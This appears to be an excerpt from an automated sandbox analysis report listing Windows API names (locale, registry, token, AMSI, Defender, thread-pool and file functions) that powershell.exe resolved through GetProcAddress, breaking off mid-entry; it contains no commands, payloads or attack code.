"powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WriteConsole (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceFrequency (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter QueryPerformanceCounter (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CoInitialize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter StgOpenStorage (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter _create_locale (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter _free_locale (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter _wcstod_l (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00005716) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00006632) "powershell.exe" called "GetProcAddress" with a parameter 